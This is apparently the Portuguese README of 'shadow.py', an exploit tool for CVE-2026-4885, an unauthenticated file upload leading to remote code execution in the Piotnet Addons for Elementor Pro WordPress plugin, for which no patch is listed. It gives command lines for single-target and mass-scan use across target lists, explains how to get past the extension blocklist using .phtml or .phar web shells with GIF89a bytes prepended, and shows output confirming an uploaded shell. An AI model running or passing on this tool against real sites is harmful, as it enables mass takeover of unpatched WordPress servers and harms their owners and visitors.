
Piotnet Addons for Elementor Pro <= 7.1.70 - Upload de Arquivo Arbitrário Não Autenticado → RCE
Piotnet Addons para Elementor Pro <= 7.1.70 - Upload de Arquivo Arbitrário Não Autenticado → RCE
O plugin Piotnet Addons for Elementor Pro para WordPress é vulnerável a upload arbitrário de arquivos devido à falta de validação do tipo de arquivo na função pafe_ajax_form_builder em todas as versões até, e incluindo, 7.1.70. O plugin usa uma lista negra de extensões incompleta que bloqueia apenas as extensões php, phpt, php5, php7 e exe, permitindo que extensões perigosas como .phar ou .phtml sejam enviadas livremente.
Isso possibilita que atacantes não autenticados façam upload de arquivos PHP arbitrários no servidor do site afetado, levando à Execução Remota de Código (RCE).
Nota: O exploit só pode ser acionado se um campo de arquivo for adicionado ao formulário Piotnet.
~ Pontuação CVSS: 9.8 (Crítico)
~ Vetor CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
~ Versões Afetadas: <= 7.1.70
~ Corrigido: Nenhum patch disponível
~ Publicado Publicamente: 18 de maio de 2026
O manipulador AJAX pafe_ajax_form_builder aceita uploads de arquivos sem validação adequada:
// Lista negra incompleta — bloqueia apenas:
$blocked = ['php', 'phpt', 'php5', 'php7', 'exe'];
// .phtml, .phar, .shtml etc. passam livremente ✓
O caminho de upload pode ser vazado via ação AJAX pafe_export_database não autenticada → a exportação CSV contém URLs completas de arquivos.
Menu interativo (padrão):
python3 shadow.py
╾──── MENU ────╼
1 ▶ um alvo
2 ▶ varredura em massa
3 ▶ sair
[1/2/3] :
Alvo único (CLI):
python3 shadow.py -u https://target.com
python3 shadow.py -u https://target.com -s shell.phtml
Alvos em massa (CLI):
python3 shadow.py -f targets.txt -t 20
python3 shadow.py -f targets.txt -t 20 -s shell.phtml
Opções:
-u, --url URL do alvo
-f, --file Arquivo com URLs de alvos (um por linha)
-s, --shell Arquivo PHP de shell personalizado (GIF89a pré-anexado automaticamente)
-t, --threads Threads concorrentes para modo em massa (padrão: 5)
-h, --help Mostrar ajuda
form_id, post_id, field_name a partir do HTML da páginapafe_export_database (sem autenticação, sem nonce)shell.txtPrepare seu arquivo de shell localmente (ex.: shadow.phtml) — os bytes mágicos GIF89a são pré-anexados automaticamente se ausentes.
Extensões bloqueadas:
.php.phpt.php5.php7.exeUse em vez disso:
.phtml.phar.shtml.php8etc.
╔══════════════════════════════════════════════════════════╗
║ ║
║ ♡ CVE-2026-4885 ║
║ Piotnet Addons for Elementor Pro <= 7.1.70 ║
║ Upload de Arquivo Não Autenticado → RCE ║
║ ║
║ por Shadow & Friska ♡ ║
║ ║
╚══════════════════════════════════════════════════════════╝
╾──── VERSÃO ────╼
♡ v7.1.67 <= 7.1.70 — VULNERÁVEL
╾──── RECON ────╼
◆ escaneando 46 páginas (paralelo)...
♡ [PIOTNET] https://target.com/contact
post_id=9 | form_id=72071c0
◆ usando : https://target.com/contact
╾──── EXPLOIT ────╼
◆ post_id=9 | form_id=72071c0 | field=file
▶ tentando .phtml ...
♡ enviado (.phtml)
♡ URL vazada : https://target.com/wp-content/uploads/piotnet-addons-for-elementor/shadow-xxx.phtml
╔══════════════════════════════════════════════════════════╗
║ ★ SHELL ENVIADO (.phtml) ║
║ ║
║ ◆ shell : https://target.com/wp-content/... ║
╚══════════════════════════════════════════════════════════╝
pip install httpx
Esta ferramenta é apenas para fins de testes de segurança educacionais e autorizados.
O uso não autorizado contra sistemas que você não possui ou para os quais não tem permissão explícita para testar é ilegal. Os autores não são responsáveis por qualquer uso indevido ou danos causados por esta ferramenta.